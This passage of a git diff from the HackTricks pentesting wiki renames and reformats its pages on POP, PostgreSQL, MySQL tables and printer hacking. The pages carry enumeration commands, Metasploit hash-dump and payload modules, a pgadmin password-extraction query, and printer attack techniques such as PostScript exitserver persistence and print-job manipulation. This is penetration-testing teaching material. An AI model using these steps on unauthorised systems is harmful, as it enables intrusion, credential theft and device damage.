-socket_instances\ -socket_summary_by_event_name\ -socket_summary_by_instance\ -status_by_account\ -status_by_host\ -status_by_thread\ -status_by_user\ -table_handles\ -table_io_waits_summary_by_index_usage\ -table_io_waits_summary_by_table\ -table_lock_waits_summary_by_table\ +memory\_summary\_by\_account\_by\_event\_name\ +memory\_summary\_by\_host\_by\_event\_name\ +memory\_summary\_by\_thread\_by\_event\_name\ +memory\_summary\_by\_user\_by\_event\_name\ +memory\_summary\_global\_by\_event\_name\ +metadata\_locks\ +mutex\_instances\ +objects\_summary\_global\_by\_type\ +performance\_timers\ +prepared\_statements\_instances\ +replication\_applier\_configuration\ +replication\_applier\_status\ +replication\_applier\_status\_by\_coordinator\ +replication\_applier\_status\_by\_worker\ +replication\_connection\_configuration\ +replication\_connection\_status\ +replication\_group\_member\_stats\ +replication\_group\_members\ +rwlock\_instances\ +session\_account\_connect\_attrs\ +session\_connect\_attrs\ +session\_status\ +session\_variables\ +setup\_actors\ +setup\_consumers\ +setup\_instruments\ +setup\_objects\ +setup\_timers\ +socket\_instances\ +socket\_summary\_by\_event\_name\ +socket\_summary\_by\_instance\ +status\_by\_account\ +status\_by\_host\ +status\_by\_thread\ +status\_by\_user\ +table\_handles\ +table\_io\_waits\_summary\_by\_index\_usage\ +table\_io\_waits\_summary\_by\_table\ +table\_lock\_waits\_summary\_by\_table\ threads\ -user_variables_by_thread\ +user\_variables\_by\_thread\ users\ -variables_by_thread +variables\_by\_thread {% endtab %} {% tab title="sys" %} -host_summary\ -host_summary_by_file_io\ -host_summary_by_file_io_type\ -host_summary_by_stages\ -host_summary_by_statement_latency\ -host_summary_by_statement_type\ -innodb_buffer_stats_by_schema\ -innodb_buffer_stats_by_table\ -innodb_lock_waits\ -io_by_thread_by_latency\ -io_global_by_file_by_bytes\ -io_global_by_file_by_latency\ -io_global_by_wait_by_bytes\ -io_global_by_wait_by_latency\ -latest_file_io\ -memory_by_host_by_current_bytes\ -memory_by_thread_by_current_bytes\ -memory_by_user_by_current_bytes\ -memory_global_by_current_bytes\ -memory_global_total\ +host\_summary\ +host\_summary\_by\_file\_io\ +host\_summary\_by\_file\_io\_type\ +host\_summary\_by\_stages\ +host\_summary\_by\_statement\_latency\ +host\_summary\_by\_statement\_type\ +innodb\_buffer\_stats\_by\_schema\ +innodb\_buffer\_stats\_by\_table\ +innodb\_lock\_waits\ +io\_by\_thread\_by\_latency\ +io\_global\_by\_file\_by\_bytes\ +io\_global\_by\_file\_by\_latency\ +io\_global\_by\_wait\_by\_bytes\ +io\_global\_by\_wait\_by\_latency\ +latest\_file\_io\ +memory\_by\_host\_by\_current\_bytes\ +memory\_by\_thread\_by\_current\_bytes\ +memory\_by\_user\_by\_current\_bytes\ +memory\_global\_by\_current\_bytes\ +memory\_global\_total\ metrics\ processlist\ -ps_check_lost_instrumentation\ -schema_auto_increment_columns\ -schema_index_statistics\ -schema_object_overview\ -schema_redundant_indexes\ -schema_table_lock_waits\ -schema_table_statistics\ -schema_table_statistics_with_buffer\ -schema_tables_with_full_table_scans\ -schema_unused_indexes\ +ps\_check\_lost\_instrumentation\ +schema\_auto\_increment\_columns\ +schema\_index\_statistics\ +schema\_object\_overview\ +schema\_redundant\_indexes\ +schema\_table\_lock\_waits\ +schema\_table\_statistics\ +schema\_table\_statistics\_with\_buffer\ +schema\_tables\_with\_full\_table\_scans\ +schema\_unused\_indexes\ session\ -session_ssl_status\ -statement_analysis\ -statements_with_errors_or_warnings\ -statements_with_full_table_scans\ -statements_with_runtimes_in\_95th_percentile\ -statements_with_sorting\ -statements_with_temp_tables\ -sys_config\ -user_summary\ -user_summary_by_file_io\ -user_summary_by_file_io_type\ -user_summary_by_stages\ -user_summary_by_statement_latency\ -user_summary_by_statement_type\ +session\_ssl\_status\ +statement\_analysis\ +statements\_with\_errors\_or\_warnings\ +statements\_with\_full\_table\_scans\ +statements\_with\_runtimes\_in\_95th\_percentile\ +statements\_with\_sorting\ +statements\_with\_temp\_tables\ +sys\_config\ +user\_summary\ +user\_summary\_by\_file\_io\ +user\_summary\_by\_file\_io\_type\ +user\_summary\_by\_stages\ +user\_summary\_by\_statement\_latency\ +user\_summary\_by\_statement\_type\ version\ -wait_classes_global_by_avg_latency\ -wait_classes_global_by_latency\ -waits_by_host_by_latency\ -waits_by_user_by_latency\ -waits_global_by_latency\ -x$host_summary\ -x$host_summary_by_file_io\ -x$host_summary_by_file_io_type\ -x$host_summary_by_stages\ -x$host_summary_by_statement_latency\ -x$host_summary_by_statement_type\ -x$innodb_buffer_stats_by_schema\ -x$innodb_buffer_stats_by_table\ -x$innodb_lock_waits\ -x$io_by_thread_by_latency\ -x$io_global_by_file_by_bytes\ -x$io_global_by_file_by_latency\ -x$io_global_by_wait_by_bytes\ -x$io_global_by_wait_by_latency\ -x$latest_file_io\ -x$memory_by_host_by_current_bytes\ -x$memory_by_thread_by_current_bytes\ -x$memory_by_user_by_current_bytes\ -x$memory_global_by_current_bytes\ -x$memory_global_total\ +wait\_classes\_global\_by\_avg\_latency\ +wait\_classes\_global\_by\_latency\ +waits\_by\_host\_by\_latency\ +waits\_by\_user\_by\_latency\ +waits\_global\_by\_latency\ +x$host\_summary\ +x$host\_summary\_by\_file\_io\ +x$host\_summary\_by\_file\_io\_type\ +x$host\_summary\_by\_stages\ +x$host\_summary\_by\_statement\_latency\ +x$host\_summary\_by\_statement\_type\ +x$innodb\_buffer\_stats\_by\_schema\ +x$innodb\_buffer\_stats\_by\_table\ +x$innodb\_lock\_waits\ +x$io\_by\_thread\_by\_latency\ +x$io\_global\_by\_file\_by\_bytes\ +x$io\_global\_by\_file\_by\_latency\ +x$io\_global\_by\_wait\_by\_bytes\ +x$io\_global\_by\_wait\_by\_latency\ +x$latest\_file\_io\ +x$memory\_by\_host\_by\_current\_bytes\ +x$memory\_by\_thread\_by\_current\_bytes\ +x$memory\_by\_user\_by\_current\_bytes\ +x$memory\_global\_by\_current\_bytes\ +x$memory\_global\_total\ x$processlist\ -x$ps_digest\_95th_percentile_by_avg_us\ -x$ps_digest_avg_latency_distribution\ -x$ps_schema_table_statistics_io\ -x$schema_flattened_keys\ -x$schema_index_statistics\ -x$schema_table_lock_waits\ -x$schema_table_statistics\ -x$schema_table_statistics_with_buffer\ -x$schema_tables_with_full_table_scans\ +x$ps\_digest\_95th\_percentile\_by\_avg\_us\ +x$ps\_digest\_avg\_latency\_distribution\ +x$ps\_schema\_table\_statistics\_io\ +x$schema\_flattened\_keys\ +x$schema\_index\_statistics\ +x$schema\_table\_lock\_waits\ +x$schema\_table\_statistics\ +x$schema\_table\_statistics\_with\_buffer\ +x$schema\_tables\_with\_full\_table\_scans\ x$session\ -x$statement_analysis\ -x$statements_with_errors_or_warnings\ -x$statements_with_full_table_scans\ -x$statements_with_runtimes_in\_95th_percentile\ -x$statements_with_sorting\ -x$statements_with_temp_tables\ -x$user_summary\ -x$user_summary_by_file_io\ -x$user_summary_by_file_io_type\ -x$user_summary_by_stages\ -x$user_summary_by_statement_latency\ -x$user_summary_by_statement_type\ -x$wait_classes_global_by_avg_latency\ -x$wait_classes_global_by_latency\ -x$waits_by_host_by_latency\ -x$waits_by_user_by_latency\ -x$waits_global_by_latency +x$statement\_analysis\ +x$statements\_with\_errors\_or\_warnings\ +x$statements\_with\_full\_table\_scans\ +x$statements\_with\_runtimes\_in\_95th\_percentile\ +x$statements\_with\_sorting\ +x$statements\_with\_temp\_tables\ +x$user\_summary\ +x$user\_summary\_by\_file\_io\ +x$user\_summary\_by\_file\_io\_type\ +x$user\_summary\_by\_stages\ +x$user\_summary\_by\_statement\_latency\ +x$user\_summary\_by\_statement\_type\ +x$wait\_classes\_global\_by\_avg\_latency\ +x$wait\_classes\_global\_by\_latency\ +x$waits\_by\_host\_by\_latency\ +x$waits\_by\_user\_by\_latency\ +x$waits\_global\_by\_latency {% endtab %} {% endtabs %} -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. @@ -595,7 +593,6 @@ Entry_4: ``` -
Support HackTricks and get benefits! @@ -611,5 +608,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-ntp.md b/network-services-pentesting/pentesting-ntp.md similarity index 100% rename from pentesting/pentesting-ntp.md rename to network-services-pentesting/pentesting-ntp.md diff --git a/pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md similarity index 88% rename from pentesting/pentesting-pop.md rename to network-services-pentesting/pentesting-pop.md index 8fb6c822..20549750 100644 --- a/pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -1,4 +1,4 @@ - +# 110,995 - Pentesting POP
@@ -16,44 +16,43 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -**Post Office Protocol** \(**POP**\) is a type of computer networking and Internet standard **protocol** that extracts and retrieves email from a remote mail server for access by the host machine. **POP** is an application layer **protocol** in the OSI model that provides end users the ability to fetch and receive email \(from [here](https://www.techopedia.com/definition/5383/post-office-protocol-pop)\). +**Post Office Protocol** (**POP**) is a type of computer networking and Internet standard **protocol** that extracts and retrieves email from a remote mail server for access by the host machine. **POP** is an application layer **protocol** in the OSI model that provides end users the ability to fetch and receive email (from [here](https://www.techopedia.com/definition/5383/post-office-protocol-pop)). The POP clients generally connect, retrieve all messages, store them on the client system, and delete them from the server. There are 3 versions of POP, but POP3 is the most used one. -**Default ports:** 110, 995\(ssl\) +**Default ports:** 110, 995(ssl) -```text +``` PORT STATE SERVICE 110/tcp open pop3 ``` -# Enumeration +## Enumeration -## Banner Grabbing +### Banner Grabbing ```bash nc -nv 110 openssl s_client -connect :995 -crlf -quiet ``` -# Manual +## Manual You can use the command `CAPA` to obtain the capabilities of the POP3 server. -# Automated +## Automated ```bash nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All are default scripts ``` -The `pop3-ntlm-info` plugin will return some "**sensitive**" data \(Windows versions\). +The `pop3-ntlm-info` plugin will return some "**sensitive**" data (Windows versions). -## [POP3 bruteforce](../brute-force.md#pop) +### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop) -# POP syntax +## POP syntax ```bash POP commands: @@ -73,7 +72,7 @@ From [here](http://sunnyoasis.com/services/emailviatelnet.html) Example: -```text +``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready USER billydean @@ -98,9 +97,9 @@ root@kali:~# telnet $ip 110 password: PA$$W0RD!Z ``` -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: POP #Protocol Abbreviation if there is one. Port_Number: 110 #Comma separated if there is more than one. Protocol_Description: Post Office Protocol #Protocol Abbreviation Spelled out @@ -140,11 +139,8 @@ Entry_5: Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit' - ``` - -
Support HackTricks and get benefits! @@ -160,5 +156,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md similarity index 95% rename from pentesting/pentesting-postgresql.md rename to network-services-pentesting/pentesting-postgresql.md index 2e8d5f01..3b464444 100644 --- a/pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -1,4 +1,4 @@ - +# 5432,5433 - Pentesting Postgresql
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## **Basic Information** -# **Basic Information** - -**PostgreSQL** is an _**_open source object-relational database system that uses and extends the SQL language. +**PostgreSQL** is an \_\*\*\_open source object-relational database system that uses and extends the SQL language. **Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use. @@ -28,7 +27,7 @@ PORT STATE SERVICE 5432/tcp open pgsql ``` -# Connect +## Connect ```bash psql -U # Open psql console with user @@ -89,14 +88,14 @@ FROM pg_catalog.pg_roles r ORDER BY 1; ``` -# Enumeration +## Enumeration ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` -## [**Brute force**](../brute-force.md#postgresql) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats: @@ -105,7 +104,7 @@ Client authentication is controlled by a config file frequently named _**pg\_hba **Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\ The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid. -# **POST** +## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump @@ -115,7 +114,7 @@ msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` -## logging +### logging Inside the _**postgresql.conf**_ file you can enable postgresql logs changing: @@ -130,7 +129,7 @@ sudo service postgresql restart Then, **restart the service**. -## pgadmin +### pgadmin [pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\ You can find **passwords** inside the _**pgadmin4.db**_ file\ @@ -143,7 +142,6 @@ sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` -
Support HackTricks and get benefits! @@ -159,5 +157,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-printers/README.md b/network-services-pentesting/pentesting-printers/README.md similarity index 90% rename from pentesting/pentesting-printers/README.md rename to network-services-pentesting/pentesting-printers/README.md index df0f1012..89647773 100644 --- a/pentesting/pentesting-printers/README.md +++ b/network-services-pentesting/pentesting-printers/README.md @@ -1,4 +1,4 @@ - +# Pentesting Printers
@@ -16,31 +16,29 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+Please, note that **most of the content of all the info related to \_Pentesting Printers**\_\*\* \*\* was taken **from** the **huge** and **amazing research** you can find on [**http://hacking-printers.net/**](http://hacking-printers.net). I tried to **summarise** that information here but you can always **go to the source to learn more about the topic**. -Please, note that **most of the content of all the info related to **_**Pentesting Printers**_** ** was taken **from** the **huge** and **amazing research** you can find on [**http://hacking-printers.net/**](http://hacking-printers.net). I tried to **summarise** that information here but you can always **go to the source to learn more about the topic**. - -# Fundamentals - -A schematic relationship regarding the encapsulation of printer languages is given below:\ +## Fundamentals +A schematic relationship regarding the encapsulation of printer languages is given below:\\ ![Encapsulation of printer languages](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png) -# Network printing protocols +## Network printing protocols -**Sending data** to a printer device can be done by **USB/parallel cable** or over a **network**. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [_NCP_](https://en.wikipedia.org/wiki/NetWare\_Core\_Protocol) or [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). In the Windows world, _SMB/CIFS_ printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as _FTP_ or _HTTP_ file uploads. The **most common printing protocols** supported directly by **network** printers however are _**LPD**_**, **_**IPP**_**, and **_**raw port 9100** _ printing. **Network printing protocols can be attacked directly**, for example by exploiting a buffer overflow in the printer's LPD daemon. In many attack scenarios however, they only act as a **carrier/channel** to **deploy malicious Printer language code**. Note that a **network printer usually supports multiple protocols to ‘print’** a document which broadens the attack surface. +**Sending data** to a printer device can be done by **USB/parallel cable** or over a **network**. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [_NCP_](https://en.wikipedia.org/wiki/NetWare\_Core\_Protocol) or [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). In the Windows world, _SMB/CIFS_ printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as _FTP_ or _HTTP_ file uploads. The **most common printing protocols** supported directly by **network** printers however are _**LPD**_**, \_IPP**_\*\*, and \*\*_**raw port 9100** \_ printing. **Network printing protocols can be attacked directly**, for example by exploiting a buffer overflow in the printer's LPD daemon. In many attack scenarios however, they only act as a **carrier/channel** to **deploy malicious Printer language code**. Note that a **network printer usually supports multiple protocols to ‘print’** a document which broadens the attack surface. -## **Learn more about** [**raw port 9100 here**](../9100-pjl.md)**.** +### **Learn more about** [**raw port 9100 here**](../9100-pjl.md)**.** -## **Learn more about** [**LPD in Pentesting 515 here**](../515-pentesting-line-printer-daemon-lpd.md)**.** +### **Learn more about** [**LPD in Pentesting 515 here**](../515-pentesting-line-printer-daemon-lpd.md)**.** -## **Learn more about** [**IPP in Petesting 631 here**](../pentesting-631-internet-printing-protocol-ipp.md)**.** +### **Learn more about** [**IPP in Petesting 631 here**](../pentesting-631-internet-printing-protocol-ipp.md)**.** -# Printer Control Languages +## Printer Control Languages A job control language manages settings like output trays for the current print job. While it usually sits as an optional layer in-between the printing protocol and the page description language, functions may be overlapping. Examples of vendor-specific job control languages are [CPCA](http://www.undocprint.org/formats/printer\_control\_languages/cpca), [XJCL](http://www.undocprint.org/formats/printer\_control\_languages/xjcl), [EJL](http://www.undocprint.org/formats/printer\_control\_languages/ejl) and **PJL** – which is supported by a variety of printers and will be discussed below. In addition, **printer control and management languages** are designed to **affect** not only a single print job but the **device** as a **whole**. One approach to define a common standard for this task was [NPAP](http://www.undocprint.org/formats/printer\_control\_languages/npap). However, it has not established itself and is only supported by Lexmark. Other printer manufacturers instead use SNMP or its **PJL-based** metalanguage **PML**. -## PJL +### PJL The Printer Job Language (PJL) was originally introduced by HP but soon became a de facto standard for print job control. ‘PJL resides above other printer languages’ and can be used to change settings like paper tray or size. It must however be pointed out that **PJL is not limited to the current print job as some settings can be made permanent**. PJL can also be used to **change the printer's display or read/write files on the device**. There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. **PJL is further used to set the file format of the actual print data to follow**. Without such explicit language switching, the printer has to identify the page description language based on magic numbers. Typical PJL commands to set the paper size and the number of copies before switching the interpreter to PostScript mode are shown below: @@ -52,7 +50,7 @@ The Printer Job Language (PJL) was originally introduced by HP but soon became a Inside the [**page about port 9100 'raw port'**](../9100-pjl.md) you can find more information about **how to enumerate PJL**. -## PML +### PML The **Printer Management Language** (PML) is a proprietary language to control **HP printers**. It basically **combines** the features of **SNMP** **with PJL**. Publicly available documentation has not been released, however parts of the standard were leaked by the [LPRng](https://en.wikipedia.org/wiki/LPRng) project: the **PJL Passthrough to PML and SNMP User’s Guide** defines defines PML as ‘an object-oriented request-reply printer management protocol’ and gives an introduction to the basics of the syntax. PML is embedded within PJL and **can be used to read and set SNMP values on a printer device**. This is especially **interesting** if a **firewall blocks** access to **SNMP** services (161/udp). The use of PML within a print job retrieving the `hrDeviceDescr` value (OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device) is demonstrated below: @@ -63,7 +61,7 @@ The **Printer Management Language** (PML) is a proprietary language to control * The rear part of string responded by the printer, `6870204c617365724a65742034323530` is hexadecimal for `hp LaserJet 4250`. As can be seen, it is possible to **invoke** (a subset of) **SNMP** **commands over PJL via PML**. A security-sensitive use of PML is to [reset HP printers to factory defaults](./#factory-defaults) via ordinary print jobs, therefore removing protection mechanisms like user-set passwords. -## UEL +### UEL The Universal Exit Language (UEL) actually is **not a real job control ‘language’ but a single command used to terminate the current data stream**: the escape character (`\x1b`), followed by `%-12345X`. It was originally introduced with HP's PCL and is **supported by most modern laser printers**. A good practice of ‘printer drivers’ is to invoke the UEL at the beginning and at the end of each print job, so interpretation of the printer language is stopped/restarted and each job has its own, separate environment as shown below: @@ -79,11 +77,11 @@ The Universal Exit Language (UEL) actually is **not a real job control ‘langua Otherwise, for example PJL settings like paper media size or PostScript definitions set in one print job would influence the next job. **UEL can be handy to string together multiple jobs into a single file/datastream sent to the printer**. This can be used to fool **hardware page counters** or to switch the printing language in advances **cross-site printing attacks**. -# Page Description Languages +## Page Description Languages A **page description language** (PDL) specifies the **appearance of the actual document**. It must however be pointed out that some PDLs offer limited job control, so **a clear demarcation between page description and printer/job control language is not always possible**. The function of a ‘printer driver’ is to **translate** the **file** to be **printed** into a **PDL** that is **understood** by the printer model. Note that some low cost inkjet printers do not support any high level page description language at all. So called host-based or [GDI](https://en.wikipedia.org/wiki/Graphics\_Device\_Interface#GDI\_printers) printers only accept simple bitmap datastreams like [ZJS](http://www.undocprint.org/formats/page\_description\_languages/zjstream) while the actual rendering is done by the printer driver. There are various proprietary page description languages like Kyocera's [PRESCRIBE](http://www.undocprint.org/formats/page\_description\_languages/prescribe), [SPL](http://www.undocprint.org/formats/page\_description\_languages/spl), [XES](http://www.undocprint.org/formats/page\_description\_languages/xes), [CaPSL](http://www.undocprint.org/formats/page\_description\_languages/capsl), [RPCS](http://www.undocprint.org/formats/page\_description\_languages/rpcs), [ESC/P](https://en.wikipedia.org/wiki/ESC/P) which is mostly used in dot matrix printers or [HP-GL](https://en.wikipedia.org/wiki/HPGL) and [HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2) which have been designed for plotters. Support for direct [PDF](https://en.wikipedia.org/wiki/Portable\_Document\_Format) and [XPS](https://en.wikipedia.org/wiki/Open\_XML\_Paper\_Specification) printing is also common on newer printers. **The most common ‘standard’ page description languages however are PostScript and PCL.** -## PostScript (PS) +### PostScript (PS) The term ‘page description’ may be misleading though, as **PostScript is capable of much more than just creating vector graphics**. PostScript is a stack-based, **Turing-complete** programming language consisting of almost 400 operators for arithmetics, stack and graphic manipulation and various data types such as arrays or dictionaries and was created by Adobe.\ Technically spoken, access to a PostScript interpreter can already be classified as **code execution** because any algorithmic function can theoretically be implemented in PostScript. Certainly, without access to the network stack or additional operating system libraries, possibilities are limited to arbitrary mathematical calculations like mining bitcoins. However, PostScript is capable of basic file system I/O to store frequently used code, graphics or font files.\ @@ -97,7 +95,7 @@ Example PostScript code to echo Hello world to stdout is given below: Brother and Kyocera use their own PostScript clones: **Br-Script** and **KPDL**. Such flavours of the PostScript language are not 100% compatible, especially concerning security features like exiting the server loop. PostScript can be used for a variety of attacks such as [denial of service](http://hacking-printers.net/wiki/index.php/Denial\_of\_service) (for example, through infinite loops), print job [manipulation](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation) and [retention](http://hacking-printers.net/wiki/index.php/Print\_job\_retention) as well as gaining access to the printer's [file system](http://hacking-printers.net/wiki/index.php/File\_system\_access). -### Exiting the server loop +#### Exiting the server loop Normally, each print job is encapsulated in its own, separate environment. One interesting feature of **PostScript** is that a program **can circumvent print job encapsulation** and alter the initial VM for subsequent jobs. To do so, it can use either startjob, a Level 2 feature: @@ -113,7 +111,7 @@ serverdict begin 0 exitserver This capability is controlled by the StartJobPassword which defaults to `0` (compare credential disclosure). Since the job server loop is generally responsible for cleaning up the state of the interpreter between jobs, **any changes that are made outside the server loop will remain as part of the permanent state of the interpreter for all subsequent jobs**. In other words, a print job can access and alter further jobs. Bingo! -### Operator redefinition +#### Operator redefinition When a **PostScript** document **calls** an **operator**, the **first version found** on the dictionary stack is used. Operators usually reside in the systemdict dictionary, however by placing a new version into the userdict dictionary, operators can be practically overwritten because **the user-defined version is the first one found on the dictionary stack**. Using the startjob/exitserver operators, such changes can be made permanent – at least until the printer is restarted. A scheme of the PostScript dictionary stack is given below: @@ -123,7 +121,7 @@ When a **PostScript** document **calls** an **operator**, the **first version fo \ The **potential impact of redefining operators** is only limited by creativity. When further legitimate documents are printed and call a redefined operator, the attackers version will be executed. This can lead to a various attacks such as [denial of service](http://hacking-printers.net/wiki/index.php/Document\_processing#Showpage\_redefinition), print job [retention](http://hacking-printers.net/wiki/index.php/Print\_job\_retention) and [manipulation](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation). Note however that this is not necessarily a security bug, but a 32 years old language feature, available in almost any PostScript printer and [RIP](https://en.wikipedia.org/wiki/Raster\_image\_processor). -## PCL +### PCL PCL 3 and PCL 4 added support for fonts and macros which both can be permanently downloaded to the device – however only referenced to by a numeric id, not by a file name, as **direct access to the file system is not intended**. PCL 1 to 5 consist of escape sequences followed by one or more ASCII characters representing a command to be interpreted. PCL 6 Enhanced or ‘PCL XL’ uses a binary encoded, object-oriented protocol. An **example PCL document to print ‘Hello world’ is given below**: @@ -133,104 +131,103 @@ PCL 3 and PCL 4 added support for fonts and macros which both can be permanently Due to its limited capabilities, PCL is **hard to exploit** from a security perspective unless one discovers interesting proprietary commands in some printer manufacturers's PCL flavour. The **PRET** tool implements a **virtual, PCL-based file system** which uses macros to **save file content and metadata in the printer's memory**. This hack shows that even a device which supports only minimalist page description languages like PCL can be used to store arbitrary files like copyright infringing material. Although turning a printer into a file sharing service is not a security vulnerability per se, it may apply as ‘misuse of service’ depending on the corporate policy. -# Misc Attacks +## Misc Attacks -## USB drive or cable +### USB drive or cable Data can be sent to and received from a local printer by [USB](https://en.wikipedia.org/wiki/USB) or [parallel](https://en.wikipedia.org/wiki/IEEE\_1284) cables. Both channels are supported by **PRET** to communicate with the device. In addition, printers and MFPs often ship with Type-A USB ports which allows users to print directly from an USB device.\ While plugged-in USB drives do **not offer a bidirectional channel**, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. -## Cross-site printing +### Cross-site printing Abusing **client web request** an attacker can **abuse arbitrary printers** inside the internal network of the client connected to his malicious web page.\ [**Learn how can this be possible here.**](cross-site-printing.md) -## Abusing Spooler service in AD +### Abusing Spooler service in AD If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.\ -[**More information about how to find a abuse Spooler services here.**](../../windows/active-directory-methodology/printers-spooler-service-abuse.md) +[**More information about how to find a abuse Spooler services here.**](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) -# Privilege Escalation +## Privilege Escalation -## Factory Defaults +### Factory Defaults There are several possible ways to **reset** a device to factory defaults, and this is a security-critical functionality as it **overwrites protection mechanisms** like user-set passwords.\ [**Learn more here.**](factory-defaults.md) -## **Accounting Bypass** +### **Accounting Bypass** You may be able to **impersonate existent or non-existent users** to print pages using their accounts or **manipulate** the hardware or software **counter** to be able to print more pages.\ [**Learn how to do it here.**](accounting-bypass.md) -## **Scanner and Fax** +### **Scanner and Fax** Accessing the Scanner of Fax functionalities you may be able to access other functionalities, but this all of this is vendor-dependent.\ [**Learn more here.**](scanner-and-fax.md) -# **Print job access** +## **Print job access** -## **Print Job Retention** +### **Print Job Retention** Jobs can be **retained in memory** and be **printed** again in a **later moment from the control panel**, or using **PostScript** you can even **remotely access all the jobs that are going to be printed, download them** and print them.\ [**Learn more here.**](print-job-retention.md) -## **Print Job Manipulation** +### **Print Job Manipulation** You can **add new content** to the pages that are printed, **change all the content** that is going to be printed or even **replace just certain letters or words.**\ [**Learn how to do it here.**](print-job-manipulation.md) -# **Information Disclosure** +## **Information Disclosure** -## **Memory access** +### **Memory access** You may be able to **dump** the **NVRAM** memory and **extract sensitive** info (like passwords) from there.\ [**Read how to do that here.**](memory-access.md) -## **File system access** +### **File system access** You may be able to **access the file system** abusing **PJL** or **PostScript**.\ [**Read how to do that here.**](file-system-access.md) -## **Credentials Disclosure/Brute-Force** +### **Credentials Disclosure/Brute-Force** You may be able to **disclosure the password** being using abusing **SNMP** or the **LDAP** settings or you could try to **brute-force PJL** or **PostScript**.\ [**Read how to do that here**](credentials-disclosure-brute-force.md)**.** -# **Code Execution** +## **Code Execution** -## **Buffer Overflows** +### **Buffer Overflows** Several **buffer overflows** have been **found** already in **PJL input** and in the **LPD daemon**, and there could be more.\ [**Read this for more information.**](buffer-overflows.md) -## Firmware updates +### Firmware updates You may be able to **make the printer update the driver to a malicious one** specially crafted by you.\ [**Read this for more information.**](firmware-updates.md) -## **Software Packages** +### **Software Packages** printer vendors have started to introduce the **possibility to install custom software on their devices** but information is not publicly available. The feature of writing customized software which runs on printers was intended and is reserved for resellers and contractors.\ [**Read more about this here.**](software-packages.md) -# **Denial of service** +## **Denial of service** -## **Transmission channel** +### **Transmission channel** Occupying all the **connections** and **increasing** the **timeout** of the server could lead to a DoS.\ [**Learn more about this here.**](transmission-channel.md) -## **Document Processing** +### **Document Processing** You can use **PostScript** and **PJL** to perform **infinite loops**, **redefine commands** to avoid any printing, **turn off** any printing functionality or even **set the printer in offline mode**.\ [**Learn more about this here.**](document-processing.md) -## **Physical damage** +### **Physical damage** One could **abuse PJL** or **PostScript** to **write** in the **NVRAM** hundreds of thousands of times with the goal of **breaking the chip** or at least make the **parameters be frozen** intro the factory default ones.\ [**Learn more about this here.**](physical-damage.md) -
Support HackTricks and get benefits! @@ -246,5 +243,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
